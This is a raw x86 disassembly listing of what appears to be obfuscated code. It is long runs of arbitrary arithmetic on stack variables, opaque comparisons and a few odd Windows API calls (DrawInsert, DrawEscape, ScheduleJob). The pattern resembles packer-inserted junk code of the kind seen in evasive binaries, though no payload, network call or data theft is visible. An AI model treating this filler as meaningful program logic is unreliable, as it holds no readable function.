movzx eax, word [edx]
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x2eac]
mov word [ecx], ax
movzx edx, byte [ebp - 0xd5]
movzx eax, byte [ebp - 0xd2]
sub edx, eax
mov byte [ebp - 0xd3], dl
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
movsx eax, byte [0x518005]
sub edx, eax
mov byte [ebp - 0x15], dl
movsx ecx, word [ebp - 0xb40]
movsx edx, word [ebp - 0xb4c]
add ecx, edx
mov eax, dword [ebp - 0x2e3c]
mov word [eax], cx
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2f8c]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2dfc], eax
mov ecx, dword [ebp - 0x301c]
mov edx, dword [ebp - 0x2fbc]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xb44]
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0xb58], cx
jmp 0x41dbe1
movzx edx, byte [ebp - 0xd4]
mov eax, dword [ebp - 0x3014]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x518006], dl
mov ecx, dword [ebp - 0x309c]
mov edx, dword [ebp - 0x2e5c]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [ebp - 0x2dfc]
and ecx, dword [eax]
cmp edx, ecx
ja 0x41e01c
movzx edx, byte [ebp - 0xd1]
mov eax, dword [ebp - 0x3074]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xd3], dl
mov dl, byte [ebp - 0xd3]
mov byte [ebp - 0x30a8], dl
cmp byte [ebp - 0x30a8], 0x10
je 0x41dfc0
jmp 0x41e01c
mov eax, dword [ebp - 0x3014]
mov cl, byte [eax]
mov byte [ebp - 0x30ac], cl
cmp byte [ebp - 0x30ac], 0x25
je 0x41dfd9
jmp 0x41dff2
push 0x3b
mov edx, dword [ebp - 0x2e48]
push edx
mov eax, dword [ebp - 0x2f3c]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
nop
jmp 0x41e01c
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [0x518008]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fa0]
mov edx, dword [ebp - 0x2e60]
sub edx, dword [ecx]
mov dword [ebp - 0x3078], edx
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2ed4]
movsx eax, word [edx]
add ecx, eax
movsx edx, word [ebp - 0xb40]
mov eax, dword [ebp - 0x2fb0]
movsx eax, word [eax]
add edx, eax
cmp ecx, edx
jge 0x41e120
lea ecx, [ebp - 0xb54]
push ecx
push 0x2b
push 0xfa
mov edx, dword [ebp - 0x2e74]
push edx
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x30b0], eax
mov eax, dword [ebp - 0x2dfc]
or eax, dword [0x5193b8]
mov ecx, dword [ebp - 0x3064]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2e60]
cmp eax, edx
jne 0x41e0e8
mov eax, dword [ebp - 0x2e6c]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xb54]
shl edx, cl
mov word [ebp - 0xb50], dx
mov eax, dword [ebp - 0x2e7c]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3074]
mov byte [ecx], dl
push 3
mov edx, dword [ebp - 0x30b4]
push edx
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [ebp - 0x2ef4], eax
mov eax, dword [ebp - 0x2fc0]
mov ecx, dword [ebp - 0x3064]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2ea0]
movzx ecx, byte [eax]
push ecx
movzx edx, byte [ebp - 0xce]
push edx
movzx eax, byte [ebp - 0x15]
push eax
mov ecx, dword [ebp - 0x2ed0]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x2f84]
movzx ecx, byte [eax]
push ecx
call fcn.004eefc0
add esp, 0x14
jmp 0x4eccf7
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [0x51800c], ecx
mov dl, byte [ebp - 0xcf]
mov byte [ebp - 0x30b8], dl
cmp byte [ebp - 0x30b8], 0
je 0x41e15d
cmp byte [ebp - 0x30b8], 0x12
je 0x4ecc87
jmp 0x4eccbe
cmp dword [ebp - 0x3018], 0xd3bd
je 0x41e287
mov eax, dword [0x51800c]
add eax, dword [ebp - 0x2e64]
mov ecx, dword [ebp - 0x2f04]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x15]
mov eax, dword [ebp - 0x2ea0]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x2f84]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xb40]
and edx, eax
mov word [ebp - 0x7f4], dx
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd0]
sub edx, eax
mov ecx, dword [ebp - 0x3014]
mov byte [ecx], dl
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb44]
shl eax, cl
mov word [ebp - 0xb5c], ax
mov ecx, dword [ebp - 0x2e60]
xor ecx, dword [ebp - 0x3078]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fac]
mov edx, dword [ebp - 0x2dfc]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x2fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0xd4], dl
movzx edx, word [ebp - 0xb58]
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xb5c], dx
mov edx, dword [ebp - 0x3018]
add edx, 0xc1
mov dword [ebp - 0x3018], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x2fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fc0]
mov edx, dword [ebp - 0x2e60]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2f8c]
mov dword [eax], edx
jmp 0x41e15d
mov ecx, dword [ebp - 0x2f2c]
add ecx, dword [ebp - 0x3088]
mov dword [ebp - 0x2e64], ecx
mov edx, dword [0x518008]
add edx, dword [ebp - 0x2e64]
mov eax, dword [ebp - 0x2fd4]
mov dword [eax], edx
movzx ecx, word [ebp - 0xb54]
movzx edx, word [ebp - 0xb48]
add ecx, edx
mov eax, dword [ebp - 0x2e6c]
mov word [eax], cx
movzx ecx, word [ebp - 0xb58]
movzx edx, word [0x5193c0]
sub ecx, edx
mov eax, dword [0x5193c4]
mov word [eax], cx
mov ecx, dword [ebp - 0x2fac]
mov edx, dword [ebp - 0x3058]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2fac]
mov dword [ecx], eax
mov edx, dword [ebp - 0x301c]
mov eax, dword [ebp - 0x2f2c]
sub eax, dword [edx]
mov dword [ebp - 0x2fbc], eax
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x2fb0]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x7f4], dx
mov edx, dword [ebp - 0x2ea0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x15]
sar eax, cl
mov byte [ebp - 0xce], al
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3020]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xb44], dx
movzx ecx, byte [ebp - 0xd4]
movzx edx, byte [ebp - 0xd0]
xor ecx, edx
mov byte [ebp - 0xd1], cl
mov eax, dword [ebp - 0x2fa0]
mov ecx, dword [ebp - 0x309c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x3078], edx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2fc4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [ebp - 0x2e64]
sub edx, dword [ecx]
mov dword [0x518008], edx
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3078]
mov edx, dword [ebp - 0x309c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [ebp - 0x2e38]
add ecx, dword [eax]
mov edx, dword [ebp - 0x301c]
mov dword [edx], ecx
movzx eax, word [ebp - 0xb54]
movzx ecx, word [ebp - 0xb5c]
add eax, ecx
mov word [ebp - 0xb44], ax
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd1]
sub eax, ecx
mov byte [ebp - 0xd0], al
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x2fbc]
sub eax, dword [edx]
mov dword [ebp - 0x2f2c], eax
mov ecx, dword [ebp - 0x2fc0]
mov edx, dword [ebp - 0x2dfc]
add edx, dword [ecx]
mov dword [ebp - 0x3078], edx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [ebp - 0x2e2c]
add ecx, dword [eax]
mov dword [ebp - 0x2ffc], ecx
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x301c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [0x5193c4]
mov word [edx], cx
movzx eax, word [ebp - 0xb44]
movzx ecx, word [ebp - 0xb50]
or eax, ecx
mov word [ebp - 0xb48], ax
mov edx, dword [ebp - 0x2fb0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xb4c]
xor eax, ecx
mov word [ebp - 0x7f4], ax
movsx edx, byte [ebp - 0xcd]
movsx ecx, byte [ebp - 0x15]
sar edx, cl
mov byte [ebp - 0xce], dl
mov eax, dword [ebp - 0x2ed8]
mov edx, dword [0x5193b8]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2ffc]
mov dword [ebp - 0x30b0], eax
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb44]
and edx, eax
mov word [ebp - 0xb5c], dx
mov ecx, dword [ebp - 0x2f90]
add ecx, 0xe2
mov dword [ebp - 0x2f90], ecx
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0xcf], al
mov eax, dword [ebp - 0x2e60]
sub eax, dword [ebp - 0x3078]
mov ecx, dword [ebp - 0x309c]
mov dword [ecx], eax
movzx edx, word [ebp - 0xb58]
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [0x5193c4]
mov word [eax], dx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2ffc]
mov eax, dword [ebp - 0x2fc4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3058]
mov edx, dword [0x5193bc]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2dfc], eax
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd3]
add edx, eax
mov ecx, dword [ebp - 0x2e7c]
mov byte [ecx], dl
movzx edx, word [ebp - 0xb54]
mov eax, dword [ebp - 0x3080]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xb50], dx
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [ebp - 0x2e38]
or eax, dword [edx]
mov ecx, dword [ebp - 0x2e9c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2e5c]
shl eax, cl
mov ecx, dword [ebp - 0x309c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ebp - 0x2fa4]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x3088], edx
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [ebp - 0x2ffc]
xor ecx, dword [eax]
mov dword [0x518008], ecx
mov edx, dword [ebp - 0x2fe0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xce]
and eax, ecx
mov edx, dword [ebp - 0x2ed0]
mov byte [edx], al
movsx eax, word [ebp - 0x7f4]
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2ed4]
mov word [ecx], ax
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3014]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2e7c]
mov byte [ecx], al
mov edx, dword [ebp - 0x3080]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3020]
mov word [ecx], ax
mov edx, dword [0x5193bc]
mov eax, dword [ebp - 0x2dfc]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2fa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x2fa4]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x2fd4]
mov dword [edx], ecx
movzx eax, byte [ebp - 0xcf]
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xd1], al
movzx eax, word [0x5193c0]
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x2e6c]
mov word [ecx], ax
mov edx, dword [ebp - 0x309c]
mov eax, dword [ebp - 0x2e60]
sub eax, dword [edx]
mov dword [0x5193b8], eax
mov ecx, dword [0x518008]
sub ecx, dword [ebp - 0x2e38]
mov dword [ebp - 0x2f2c], ecx
cmp dword [ebp - 0x2f90], 0x4797
jb 0x41e287
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ebp - 0x2f2c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2ffc], eax
mov ecx, dword [ebp - 0x2fa0]
mov edx, dword [ecx]
xor edx, dword [0x5193b8]
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3074]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x3014]
mov byte [edx], cl
movzx eax, word [ebp - 0xb54]
mov ecx, dword [ebp - 0x2ebc]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xb58], ax
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [0x518008]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [ebp - 0x2e38]
sub eax, dword [edx]
mov dword [ebp - 0x2ffc], eax
mov ecx, dword [ebp - 0x2ea0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x2f84]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [0x518006], dl
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3014]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x2e7c]
mov byte [ecx], al
movzx edx, word [ebp - 0xb48]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x3080]
mov word [eax], dx
mov ecx, dword [ebp - 0x2e70]
mov edx, dword [ebp - 0x2e5c]
and edx, dword [ecx]
mov eax, dword [ebp - 0x309c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2fac]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
mov ecx, dword [ebp - 0x2fbc]
add ecx, dword [ebp - 0x2ff4]
mov edx, dword [ebp - 0x2fc4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e64]
add eax, dword [0x518008]
mov dword [ebp - 0x2ffc], eax
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x3088], eax
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x3080]
mov word [eax], dx
movzx ecx, byte [ebp - 0xd3]
movzx edx, byte [ebp - 0xd5]
or ecx, edx
mov byte [ebp - 0xd1], cl
mov eax, dword [ebp - 0x3064]
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2ff4]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e64]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e70]
mov eax, dword [edx]
sub eax, dword [0x5193b8]
mov ecx, dword [ebp - 0x2fa0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xd2]
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], dl
movzx ecx, word [ebp - 0xb48]
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3080]
mov word [edx], cx
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xb40]
add ecx, edx
mov word [ebp - 0x7f4], cx
movsx eax, byte [ebp - 0xcd]
mov ecx, dword [ebp - 0x2ea0]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 0x2fc0]
mov ecx, dword [ebp - 0x2e60]
and ecx, dword [eax]
mov edx, dword [ebp - 0x2fac]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2ff4]
add eax, dword [ebp - 0x2f2c]
mov dword [0x51800c], eax
movzx ecx, byte [ebp - 0xd3]
movzx edx, byte [0x518006]
xor ecx, edx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], cl
movzx edx, word [ebp - 0xb58]
mov eax, dword [ebp - 0x3080]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3020]
mov word [ecx], dx
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2ffc], ecx
mov edx, dword [ebp - 0x3064]
mov eax, dword [ebp - 0x2fac]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x2ed8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ff4]
add ecx, dword [ebp - 0x2e38]
mov edx, dword [ebp - 0x2fd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x301c]
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x2fbc], edx
movzx eax, byte [ebp - 0xd5]
movzx ecx, byte [ebp - 0xd3]
add eax, ecx
mov edx, dword [ebp - 0x2e7c]
mov byte [edx], al
mov eax, dword [ebp - 0x3020]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb5c]
sub ecx, edx
mov eax, dword [ebp - 0x2eac]
mov word [eax], cx
mov ecx, dword [ebp - 0x3078]
add ecx, dword [ebp - 0x2dfc]
mov dword [0x5193b8], ecx
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ebp - 0x2e38]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2e9c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x301c]
mov eax, dword [0x518008]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2e9c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2fbc]
add edx, dword [ebp - 0x30b0]
mov dword [ebp - 0x2f2c], edx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x2fbc], edx
movsx eax, byte [ebp - 0xce]
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0xcd], al
movsx eax, word [ebp - 0x7f4]
movsx ecx, word [ebp - 0xb40]
shl eax, cl
mov word [ebp - 0xb4c], ax
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd5]
or edx, eax
mov ecx, dword [ebp - 0x2ec0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3080]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3020]
mov word [ecx], ax
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [0x5193bc]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2dfc]
sub eax, dword [ebp - 0x2e5c]
mov dword [ebp - 0x3078], eax
movzx ecx, word [ebp - 0xb50]
mov edx, dword [ebp - 0x3080]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2e6c]
mov word [edx], cx
mov eax, dword [ebp - 0x3014]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xd1]
and ecx, edx
mov byte [ebp - 0xd2], cl
mov eax, dword [ebp - 0x2f98]
add eax, 0x8f
mov dword [ebp - 0x2f98], eax
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e64]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
mov ecx, dword [0x5193b8]
sub ecx, dword [ebp - 0x2e60]
mov dword [ebp - 0x3078], ecx
cmp dword [ebp - 0x2f98], 0x3e3c
jb 0x41e73a
movzx edx, word [ebp - 0xb54]
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
sub edx, ecx
movzx eax, word [ebp - 0xb58]
movzx ecx, word [ebp - 0xb50]
add eax, ecx
cmp edx, eax
jg 0x41ed0c
mov edx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x30bc], edx
cmp dword [ebp - 0x30bc], 0
je 0x41ec1c
cmp dword [ebp - 0x30bc], 0xdb914185
je 0x41ecf0
jmp 0x41ed0c
mov eax, dword [ebp - 0x2f2c]
sub eax, dword [ebp - 0x3088]
mov dword [ebp - 0x2d58], eax
movzx ecx, word [ebp - 0xb58]
movzx edx, word [ebp - 0xb5c]
add ecx, edx
mov eax, dword [ebp - 0x3080]
movzx edx, word [eax]
movzx eax, word [ebp - 0xb44]
add edx, eax
cmp ecx, edx
jl 0x41ecbf
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x301c]
mov dword [ecx], eax
mov dx, word [0x5193c0]
mov word [ebp - 0xb60], dx
mov ax, word [ebp - 0x7f4]
mov word [0x5193c8], ax
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xd3]
sar edx, cl
mov eax, dword [ebp - 0x3014]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3058]
mov edx, dword [ecx]
or edx, dword [ebp - 0x3078]
mov dword [ebp - 0x2dfc], edx
mov dword [ebp - 0x30c0], 0x9b33
lea eax, [ebp - 0x2f2c]
mov dword [ebp - 0x30c4], eax
mov dword [ebp - 0x30c8], 0xb5d2
mov ecx, dword [ebp - 0x2fb0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xb40]
xor edx, eax
mov word [ebp - 0xb4c], dx
jmp 0x41ed0c
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x2fe0]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x2f84]
mov byte [ecx], dl
mov dl, byte [ebp - 0xd0]
mov byte [ebp - 0xd6], dl
cmp dword [ebp - 0x3050], 0x8e08
jae 0x41f0d2
movzx eax, word [ebp - 0xb50]
movzx ecx, word [ebp - 0xb5c]
and eax, ecx
mov word [ebp - 0xb58], ax
mov edx, dword [0x5193b8]
sub edx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [0x5193c4]
mov word [edx], cx
mov eax, dword [ebp - 0x30b0]
and eax, dword [ebp - 0x2f2c]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e70]
mov eax, dword [ebp - 0x3078]
add eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd1]
sub eax, ecx
mov byte [ebp - 0xd4], al
movzx edx, word [ebp - 0xb5c]
movzx eax, word [ebp - 0xb44]
add edx, eax
mov word [ebp - 0xb54], dx
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [0x518008]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2dfc]
or ecx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x3078], ecx
mov edx, dword [ebp - 0x2e38]
mov ecx, dword [ebp - 0x2ff4]
shl edx, cl
mov eax, dword [ebp - 0x2fd4]
mov dword [eax], edx
movzx ecx, word [ebp - 0xb58]
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [0x5193c4]
mov word [edx], cx
mov eax, dword [ebp - 0x2eac]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xb44]
sar edx, cl
mov word [ebp - 0xb58], dx
movzx eax, byte [ebp - 0xd5]
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0xd6], al
movsx eax, word [ebp - 0xb40]
mov ecx, dword [ebp - 0x2fb0]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0xb4c], ax
movsx eax, byte [0x518005]
movsx ecx, byte [ebp - 0xcd]
sub eax, ecx
mov byte [ebp - 0xce], al
mov edx, dword [ebp - 0x2fc0]
mov eax, dword [ebp - 0x2f8c]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3058]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3088]
sub eax, dword [0x51800c]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3020]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xb60], ax
mov eax, dword [ebp - 0x3014]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xd4]
sub ecx, edx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], cl
mov ecx, dword [0x5193b8]
add ecx, dword [ebp - 0x2e5c]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x30c4]
mov ecx, dword [ebp - 0x2ffc]
sub ecx, dword [eax]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ebp - 0x2ff4]
add eax, dword [edx]
mov dword [ebp - 0x2e38], eax
mov edx, dword [ebp - 0x2dfc]
mov ecx, dword [ebp - 0x2e5c]
shl edx, cl
mov eax, dword [ebp - 0x2ed8]
mov dword [eax], edx
movzx ecx, byte [ebp - 0xd3]
movzx edx, byte [ebp - 0xd4]
or ecx, edx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], cl
movzx edx, word [ebp - 0xb48]
mov eax, dword [ebp - 0x3020]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x2ebc]
mov word [ecx], dx
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ebp - 0x2ffc]
xor eax, dword [edx]
